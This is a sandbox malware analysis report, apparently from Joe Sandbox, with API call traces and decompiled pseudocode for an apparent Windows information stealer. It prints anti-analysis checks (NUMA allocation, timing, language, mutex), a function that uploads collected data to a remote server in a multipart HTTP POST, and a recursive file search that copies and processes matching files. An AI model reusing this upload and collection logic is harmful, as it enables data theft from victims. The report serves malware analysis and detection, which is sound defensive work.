Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,00827FE0), ref: 0040C3AB
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,00827EC0), ref: 0040C3C4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,008280B8), ref: 0040C3DC
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,008258C8), ref: 0040C3F4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,00825B28), ref: 0040C40D
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,VirtualAllocExNuma), ref: 0040C423
Part of subcall function 0040C2E0: LoadLibraryA.KERNEL32(00828058,?,00406B72), ref: 0040C435
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(00827F98,?,00406B72), ref: 0040C447
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75530000,00827ED8), ref: 0040C468

Part of subcall function 00401050: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
Part of subcall function 00401050: VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
Part of subcall function 00401050: ExitProcess.KERNEL32 ref: 00401082

Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406AA6
Part of subcall function 00406AA0: Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406ABA

Sleep.KERNEL32(000003E7), ref: 00406BF5

Part of subcall function 00406A10: GetUserDefaultLangID.KERNEL32 ref: 00406A1D

Part of subcall function 00406B30: CreateMutexA.KERNELBASE(00000000,00000000,00825AC8,?,00406B9F), ref: 00406B3D
Part of subcall function 00406B30: GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,0083A798), ref: 0040C4BD
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,0083A7E0), ref: 0040C4D5
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,00825988), ref: 0040C4EE
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,0083AA08), ref: 0040C506
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,0083AA20), ref: 0040C51E
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,0083A978), ref: 0040C537
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,0083AA38), ref: 0040C54F
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,0083A990), ref: 0040C567
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,0083A9C0), ref: 0040C580
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,0083A9D8), ref: 0040C598
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,0083B068), ref: 0040C5B0
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,0083B050), ref: 0040C5C9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,0083ADC8), ref: 0040C5E1
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,00825B48), ref: 0040C5F9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,0083AFC0), ref: 0040C612
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(75130000,00825768), ref: 0040C62A

CreateThread.KERNELBASE(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00406BBC

Part of subcall function 004068F0: GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
Part of subcall function 004068F0: lstrcat.KERNEL32(?,008258E8), ref: 00406985
Part of subcall function 004068F0: sscanf.NTDLL ref: 004069C3
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
Part of subcall function 004068F0: ExitProcess.KERNEL32 ref: 00406A02

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00406BD6
ExitProcess.KERNEL32 ref: 00406C04

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 30edc539181f4161086e76151398ed8f709a9372c098ffe2502fb7c446d8bec9
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 2101FFB0385365AAE12037A25D17B5935685F00B49F12403BB603F81E2EEBDF460992F

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC50, Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040AC50() {
				void* _v8;
				long _v12;
				int _t9;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v12 = 0x104;
				_t9 = GetComputerNameA(_v8,  &_v12); // executed
				if(_t9 != 0) {
					return _v8;
				}
				return 0x4191a0;
			}

0x0040ac6a
0x0040ac6d
0x0040ac7c
0x0040ac84
0x00000000
0x0040ac8f
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction ID: 037935987c21b56ac9d2f6c82646566d18e4d0dbb1ca3967d9f30a297ca29eed
Opcode Fuzzy Hash: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction Fuzzy Hash: CDE012B4A05208BBE700DFE49A49ADD7BBCAB04301F104565E945E2280E6759E94D756

Uniqueness

Uniqueness Score: -1.00%

Function 00401050, Relevance: 4.5, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E00401050(void* __ecx, intOrPtr _a4) {
				int _v8;
				int _t7;

				_v8 = 0;
				_t7 =  *0x41aa50(GetCurrentProcess(), 0, _a4, 0x3000, 0x40, 0, __ecx); // executed
				_v8 = _t7;
				if(_v8 == 0) {
					ExitProcess(0);
				}
				return _t7;
			}

0x00401054
0x00401071
0x00401077
0x0040107e
0x00401082
0x00401082
0x0040108b

APIs

GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
ExitProcess.KERNEL32 ref: 00401082

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction ID: cf04ec476d4c872812d4618a66134526bca4da81b147f74e7f68079ffca38a05
Opcode Fuzzy Hash: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction Fuzzy Hash: C4E08670586308FFEB109F90DD09B997BA8EB04712F108054FA09A72C0C6B45A50CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00406B30, Relevance: 3.0, APIs: 2, Instructions: 15
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406B30() {
				CHAR* _t1;

				_t1 =  *0x41a124; // 0x825ac8
				CreateMutexA(0, 0, _t1); // executed
				if(GetLastError() != 0xb7) {
					return 1;
				}
				return 0;
			}

0x00406b33
0x00406b3d
0x00406b4e
0x00000000
0x00406b54
0x00000000

APIs

CreateMutexA.KERNELBASE(00000000,00000000,00825AC8,?,00406B9F), ref: 00406B3D
GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction ID: 327de0e026df715b7b38ea4147415e649a308c5b1f966a57182a2e21aaf30096
Opcode Fuzzy Hash: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction Fuzzy Hash: 93D012B0266205EBE7102794FC49BF637A99744701F214832F10EE61D2C669FCA0462F

Uniqueness

Uniqueness Score: -1.00%

Function 006C0DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,006C0223,?,?), ref: 006C0E02
SetErrorMode.KERNELBASE(00000000,?,?,006C0223,?,?), ref: 006C0E07

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: fc8cacf35872669303857950a0e440ad036042d0b10adadc32fc5e1330f70b4a
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: F6D0123114512CB7D7002B94DC09BDD7B1CDF05B66F008011FB0DD9181C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 006C0920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 006C0929

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 7ba80916a48acbfb0f046a5eb73e9b1892c8f9a247d3f52fd2d0df5884ae7060
Instruction ID: c0089d607f9342f2c15a261cd068abafb40f64debc35d3030ca853ef88393cfd
Opcode Fuzzy Hash: 7ba80916a48acbfb0f046a5eb73e9b1892c8f9a247d3f52fd2d0df5884ae7060
Instruction Fuzzy Hash: 879004F07441F051DC3035DC0C01F4500111741775F7037107130FF1D4DF4455000115

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404BE0, Relevance: 108.9, APIs: 56, Strings: 6, Instructions: 371
stringnetworkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00404BE0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, intOrPtr _a16, int _a20, intOrPtr _a24) {
				void _v8;
				char _v516;
				void* _v520;
				char _v1028;
				void* _v1032;
				void _v1548;
				void* _v1552;
				long _v1556;
				long _v1560;
				char _v6564;
				void* _v6568;
				long _v6572;
				void _v6828;
				DWORD* _v6832;
				DWORD* _v6836;
				void* _v6840;
				intOrPtr _v6844;
				DWORD* _v6848;
				void _v8852;
				int _v8856;
				long _v8860;
				void* _t132;
				intOrPtr _t154;
				intOrPtr _t169;
				intOrPtr _t172;
				void* _t176;
				DWORD* _t204;
				char* _t207;
				char* _t219;
				intOrPtr _t221;
				intOrPtr _t225;
				char* _t239;
				intOrPtr _t248;
				char* _t251;
				void* _t275;
				void* _t276;

				_t211 = __ecx;
				E004139B0(0x2298, __ecx);
				E0040B6E0(_t211,  &_v6564, 0, 0x1388);
				E0040B720( &_v516, 0x1f4);
				E0040B720( &_v1548, 0x200);
				_v1552 = RtlAllocateHeap(GetProcessHeap(), 0, 0x800000);
				E0040B720( &_v1028, 0x1f4);
				_v520 = InternetOpenA(0, 1, 0, 0, 0);
				_v8 = 0x927c0;
				_t213 =  &_v8;
				InternetSetOptionA(_v520, 2,  &_v8, 4);
				_v6572 = 0x100;
				_v1556 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v1556 = 1;
				}
				_t280 = _v520;
				if(_v520 != 0) {
					_t132 = E0040B8B0(_t213, _t280, 0x10);
					_t276 = _t276 + 4;
					 *0x41aa24( &_v516, _t132);
					 *0x41aa24(_v1552, "\r\n");
					 *0x41aa24(_v1552, "------");
					 *0x41aa24(_v1552,  &_v516);
					 *0x41aa24(_v1552, "--");
					 *0x41aa24(_v1552, "\r\n");
					_t248 =  *0x41a1bc; // 0x8235d8
					 *0x41aa24( &_v1028, _t248);
					 *0x41aa24( &_v1028,  &_v516);
					if(_v1556 == 0) {
						_v6568 = InternetConnectA(_v520, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v6568 = InternetConnectA(_v520, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v6568 != 0) {
						if(_v1556 == 0) {
							_t251 =  *0x41a2d8; // 0x83ad08
							_t219 =  *0x41a590; // 0x83a480
							_v1032 = HttpOpenRequestA(_v6568, _t219, _a12, _t251, 0, 0, 0x400100, 0);
						} else {
							_t239 =  *0x41a2d8; // 0x83ad08
							_t207 =  *0x41a590; // 0x83a480
							_v1032 = HttpOpenRequestA(_v6568, _t207, _a12, _t239, 0, 0, 0xc00100, 0);
						}
						if(_v1032 != 0) {
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t221 =  *0x41a2cc; // 0x8282d8
							 *0x41aa24( &_v1548, _t221);
							_t154 =  *0x41a058; // 0x83a4f0
							 *0x41aa24( &_v1548, _t154);
							 *0x41aa24( &_v1548, "\"\r\n\r\n");
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\r\n");
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t225 =  *0x41a644; // 0x823618
							 *0x41aa24( &_v1548, _t225);
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\"\r\n");
							_t169 =  *0x41a038; // 0x828338
							 *0x41aa24( &_v1548, _t169);
							 *0x41aa24( &_v1548, "\r\n");
							_t172 =  *0x41a538; // 0x828368
							 *0x41aa24( &_v1548, _t172);
							 *0x41aa24( &_v1548, "\r\n\r\n");
							_t176 =  *0x41a908( &_v1548);
							_v1560 = _t176 + _a24 +  *0x41a908(_v1552);
							_v6840 = RtlAllocateHeap(GetProcessHeap(), 0, _v1560);
							memcpy(_v6840,  &_v1548,  *0x41a908( &_v1548));
							memcpy(_v6840 +  *0x41a908(_a24),  &_v1548, _a20);
							memcpy( *0x41a908( *0x41a908(_v1552)) + _a24 + _v6840,  &_v1548, _v1552);
							_v6848 = 0;
							while(_v6848 < 6) {
								HttpSendRequestA(_v1032,  &_v1028,  *0x41a908(_v1560),  &_v1028, _v6840);
								if(HttpQueryInfoA(_v1032, 0x13,  &_v6828,  &_v6572, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t204 =  &(_v6848[0]);
									__eflags = _t204;
									_v6848 = _t204;
									continue;
								} else {
									_push("200");
									_push( &_v6828);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
									}
								}
								break;
							}
							E0040B720( &_v6840, 4);
							_v6836 = 0;
							_v6832 = 0;
							_v6844 = 0x4000;
							while(1) {
								_v8856 = InternetReadFile(_v1032,  &_v8852, 0x7cf,  &_v8860);
								if(_v8856 == 0) {
									break;
								}
								_t289 = _v8860;
								if(_v8860 != 0) {
									 *((char*)(_t275 + _v8860 - 0x2290)) = 0;
									 *0x41aa24( &_v6564,  &_v8852);
									continue;
								}
								break;
							}
						}
					}
				}
				InternetCloseHandle(_v1032);
				InternetCloseHandle(_v6568);
				InternetCloseHandle(_v520);
				return E00404830(_v520, _t289,  &_v6564);
			}

0x00404be0
0x00404be8
0x00404bfc
0x00404c0d
0x00404c1e
0x00404c37
0x00404c49
0x00404c5e
0x00404c64
0x00404c6d
0x00404c7a
0x00404c80
0x00404c8a
0x00404c94
0x00404c9c
0x00404ca5
0x00404ca7
0x00404ca7
0x00404cb1
0x00404cb8
0x00404cc0
0x00404cc5
0x00404cd0
0x00404ce2
0x00404cf4
0x00404d08
0x00404d1a
0x00404d2c
0x00404d32
0x00404d40
0x00404d54
0x00404d61
0x00404da8
0x00404d63
0x00404d83
0x00404d83
0x00404db5
0x00404dc2
0x00404e00
0x00404e0b
0x00404e1f
0x00404dc4
0x00404dcf
0x00404dda
0x00404ded
0x00404ded
0x00404e2c
0x00404e3e
0x00404e52
0x00404e64
0x00404e6a
0x00404e78
0x00404e7e
0x00404e8b
0x00404e9d
0x00404eae
0x00404ec0
0x00404ed2
0x00404ee6
0x00404ef8
0x00404efe
0x00404f0c
0x00404f1d
0x00404f2f
0x00404f35
0x00404f42
0x00404f54
0x00404f5a
0x00404f67
0x00404f79
0x00404f86
0x00404fa0
0x00404fbc
0x00404fde
0x00405000
0x00405032
0x00405038
0x00405053
0x00405086
0x004050ad
0x004050c7
0x004050cc
0x0040504a
0x0040504a
0x0040504d
0x00000000
0x004050af
0x004050af
0x004050ba
0x004050c3
0x00000000
0x00000000
0x004050c5
0x004050c3
0x00000000
0x004050ad
0x004050e0
0x004050e5
0x004050ef
0x004050f9
0x00405103
0x00405123
0x00405130
0x00000000
0x00000000
0x00405132
0x00405139
0x00405143
0x00405159
0x00000000
0x00405159
0x00000000
0x00405139
0x0040513b
0x00404e2c
0x00404db5
0x00405168
0x00405175
0x00405182
0x0040519b

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388,?,?,00406843,008251B0,00825A88,00827E90,?), ref: 00404C2A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C31
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404C58
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404C7A
StrCmpCA.SHLWAPI(?,https://), ref: 00404C9D
lstrcat.KERNEL32(?,00000000), ref: 00404CD0
lstrcat.KERNEL32(?,00418B9C), ref: 00404CE2
lstrcat.KERNEL32(?,------), ref: 00404CF4
lstrcat.KERNEL32(?,?), ref: 00404D08
lstrcat.KERNEL32(?,00418BA8), ref: 00404D1A
lstrcat.KERNEL32(?,00418B9C), ref: 00404D2C
lstrcat.KERNEL32(?,008235D8), ref: 00404D40
lstrcat.KERNEL32(?,?), ref: 00404D54
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00404D7D
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404DA2
HttpOpenRequestA.WININET(00000000,0083A480,?,0083AD08,00000000,00000000,00C00100,00000000), ref: 00404DE7
HttpOpenRequestA.WININET(00000000,0083A480,?,0083AD08,00000000,00000000,00400100,00000000), ref: 00404E19
lstrcat.KERNEL32(?,------), ref: 00404E3E
lstrcat.KERNEL32(?,?), ref: 00404E52
lstrcat.KERNEL32(?,00418B9C), ref: 00404E64
lstrcat.KERNEL32(?,008282D8), ref: 00404E78
lstrcat.KERNEL32(?,0083A4F0), ref: 00404E8B
lstrcat.KERNEL32(?,"), ref: 00404E9D
lstrcat.KERNEL32(?,?), ref: 00404EAE
lstrcat.KERNEL32(?,00418B9C), ref: 00404EC0
lstrcat.KERNEL32(?,------), ref: 00404ED2
lstrcat.KERNEL32(?,?), ref: 00404EE6
lstrcat.KERNEL32(?,00418B9C), ref: 00404EF8
lstrcat.KERNEL32(?,00823618), ref: 00404F0C
lstrcat.KERNEL32(?,?), ref: 00404F1D
lstrcat.KERNEL32(?,"), ref: 00404F2F
lstrcat.KERNEL32(?,00828338), ref: 00404F42
lstrcat.KERNEL32(?,00418B9C), ref: 00404F54
lstrcat.KERNEL32(?,00828368), ref: 00404F67
lstrcat.KERNEL32(?,), ref: 00404F79
lstrlen.KERNEL32(?), ref: 00404F86
lstrlen.KERNEL32(?), ref: 00404F98
GetProcessHeap.KERNEL32(00000000,?), ref: 00404FAF
RtlAllocateHeap.NTDLL(00000000), ref: 00404FB6
lstrlen.KERNEL32(?), ref: 00404FC9
memcpy.NTDLL(?,?,00000000), ref: 00404FDE
lstrlen.KERNEL32(?,?,?), ref: 00404FF3
memcpy.NTDLL(?), ref: 00405000
lstrlen.KERNEL32(?), ref: 0040500D
lstrlen.KERNEL32(?,?,00000000), ref: 00405022
memcpy.NTDLL(?), ref: 00405032
lstrlen.KERNEL32(?,?,?), ref: 00405071
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00405086
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004050A5
StrCmpCA.SHLWAPI(?,200), ref: 004050BB
Sleep.KERNEL32(00007530), ref: 004050CC
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040511D
lstrcat.KERNEL32(?,00000000), ref: 00405159
InternetCloseHandle.WININET(?), ref: 00405168
InternetCloseHandle.WININET(?), ref: 00405175
InternetCloseHandle.WININET(00000000), ref: 00405182

Strings

200, xrefs: 004050AF
https://, xrefs: 00404C94
------, xrefs: 00404CE8, 00404E32, 00404EC6
", xrefs: 00404E91
", xrefs: 00404F23
, xrefs: 00404F6D

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: $"$"$------$200$https://
API String ID: 3074752877-1022799444
Opcode ID: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction ID: e23421f7279307ab3a44037bb1bbfee425b9f76c6f481fad167fe3b69a740ec5
Opcode Fuzzy Hash: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction Fuzzy Hash: BDF176B5A51218AFCB20DFA0DD48FDB7779AF48704F0085D9F209A7181CB78AA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004087E0, Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 337
fileCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004087E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int _a36) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				void* _t121;
				signed int _t122;
				int _t124;
				signed int _t126;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t134;
				void* _t146;
				intOrPtr _t200;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t276;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t273 = _t272 + 0xc;
				_t121 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t121;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t121;
				}
				do {
					L2:
					_t122 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t122;
					if(_t122 == 0) {
						L4:
						goto L22;
					}
					_t126 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t126;
					if(_t126 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t273 = _t273 + 0x10;
						_t129 =  *0x41a534; // 0x83ab70
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t129, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t200 =  *0x41a050; // 0x83a440
							__eflags =  *0x41aa4c( &(_v596.cFileName), _t200);
							if(__eflags != 0) {
								_t132 =  *0x41a5ac; // 0x83ab88
								__eflags =  *0x41aa4c( &(_v596.cFileName), _t132);
								if(__eflags != 0) {
									_t134 =  *0x41a360; // 0x83a300
									__eflags =  *0x41aa4c( &(_v596.cFileName), _t134);
									if(__eflags != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
											_t273 = _t273 + 0x24;
										}
									} else {
										GetCurrentDirectoryA(0x104,  &_v1388);
										 *0x41aa24( &_v1388, 0x414018);
										_t146 = E0040B8B0( &(_v596.cFileName), __eflags, 8);
										_t274 = _t273 + 4;
										 *0x41aa24( &_v1388, _t146);
										CopyFileA( &_v860,  &_v1388, 1);
										__eflags = _a36;
										if(__eflags != 0) {
											E00408510(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										__eflags = _a28;
										if(__eflags != 0) {
											E00408650(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										DeleteFileA( &_v1388);
										E0040B720( &_v1388, 0x104);
										E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
										_t273 = _t274 + 0x24;
									}
								} else {
									GetCurrentDirectoryA(0x104,  &_v1124);
									 *0x41aa24( &_v1124, 0x414018);
									 *0x41aa24( &_v1124, E0040B8B0( &(_v596.cFileName), __eflags, 8));
									CopyFileA( &_v860,  &_v1124, 1);
									E004082E0(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
									_t276 = _t273 + 0x1c;
									__eflags = _a32;
									if(__eflags != 0) {
										E00408150(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
										_t276 = _t276 + 0x18;
									}
									DeleteFileA( &_v1124);
									E0040B720( &_v1124, 0x104);
									E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
									_t273 = _t276 + 0x24;
								}
							} else {
								E00407D50(__eflags,  &_v860, _a4, _a12, _a16, _a20, _a24);
								E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
								_t273 = _t273 + 0x3c;
							}
						} else {
							E00407AC0(_a12, __eflags, _a4,  &_v860, _a12, _a16, _a20);
							E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
							_t273 = _t273 + 0x38;
						}
						E0040B720( &_v860, 0x104);
						goto L22;
					}
					goto L4;
					L22:
					_t124 = FindNextFileA(_v272,  &_v596);
					__eflags = _t124;
				} while (_t124 != 0);
				return FindClose(_v272);
			}

0x004087ec
0x004087f9
0x004087ff
0x00408810
0x00408816
0x00408823
0x00000000
0x00000000
0x00000000
0x00000000
0x0040882a
0x0040882a
0x00408836
0x0040883c
0x0040883e
0x00408856
0x00000000
0x00408856
0x0040884c
0x00408852
0x00408854
0x00408872
0x00408878
0x0040887b
0x0040888e
0x00408890
0x004088e8
0x004088fc
0x004088fe
0x0040895a
0x0040896d
0x0040896f
0x00408a68
0x00408a7b
0x00408a7d
0x00408b7f
0x00408b82
0x00408bae
0x00408bb3
0x00408bb3
0x00408a83
0x00408a8f
0x00408aa1
0x00408aa9
0x00408aae
0x00408ab9
0x00408acf
0x00408ad5
0x00408ad9
0x00408af6
0x00408afb
0x00408afb
0x00408afe
0x00408b02
0x00408b1f
0x00408b24
0x00408b24
0x00408b2e
0x00408b40
0x00408b6f
0x00408b74
0x00408b74
0x00408975
0x00408981
0x00408993
0x004089ab
0x004089c1
0x004089e2
0x004089e7
0x004089ea
0x004089ee
0x00408a0b
0x00408a10
0x00408a10
0x00408a1a
0x00408a2c
0x00408a5b
0x00408a60
0x00408a60
0x00408900
0x0040891b
0x0040894d
0x00408952
0x00408952
0x00408892
0x004088a9
0x004088db
0x004088e0
0x004088e0
0x00408bc2
0x00000000
0x00408bc2
0x00000000
0x00408bc7
0x00408bd5
0x00408bdb
0x00408bdb
0x00000000

APIs

wsprintfA.USER32 ref: 004087F9
FindFirstFileA.KERNEL32(?,?), ref: 00408810
StrCmpCA.SHLWAPI(?,00414010), ref: 00408836
StrCmpCA.SHLWAPI(?,00414014), ref: 0040884C
FindNextFileA.KERNEL32(000000FF,?), ref: 00408BD5
